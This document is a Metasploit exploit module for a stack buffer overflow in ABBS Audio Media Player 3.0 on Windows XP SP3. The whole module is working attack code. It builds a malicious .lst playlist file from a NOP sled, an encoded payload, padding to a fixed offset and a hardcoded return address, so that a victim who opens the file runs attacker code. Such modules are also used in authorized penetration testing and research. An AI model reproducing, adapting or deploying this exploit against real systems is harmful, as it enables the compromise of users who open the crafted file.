ABBS Audio Media Player 3.0 (LST File) Stack Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ABBS Audio Media Player 3.0 (LST File) Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow vulnerability  
found in ABBS Audio Media Player 3.0.  
The overflow occurs when an overly long string is passed  
in the lst file.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h1ch4m', # Initial Discovery  
'James Fitts' # Metasploit Module  
],  
'Version' => '$Revision: $',  
'References' =>  
[  
[ 'URL', 'http://www.exploit-db.com/exploits/16976' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'DisablePayloadHandler' => 'true',  
},  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x0d",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'Windows XP SP3 EN',  
{  
'Ret' => 0x0043551f, # call dword ptr ds:[eax] in amp.exe  
'Offset' => 4108  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Mar 14 2011',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.lst']),  
], self.class)  
end  
  
def exploit  
  
lst = make_nops(50)  
lst << payload.encoded  
lst << make_nops(target['Offset'] - (50 + payload.encoded.length))  
lst << [target.ret].pack('V')  
lst << rand_text_alpha_upper(4)  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(lst)  
  
end  
  
end  
  
`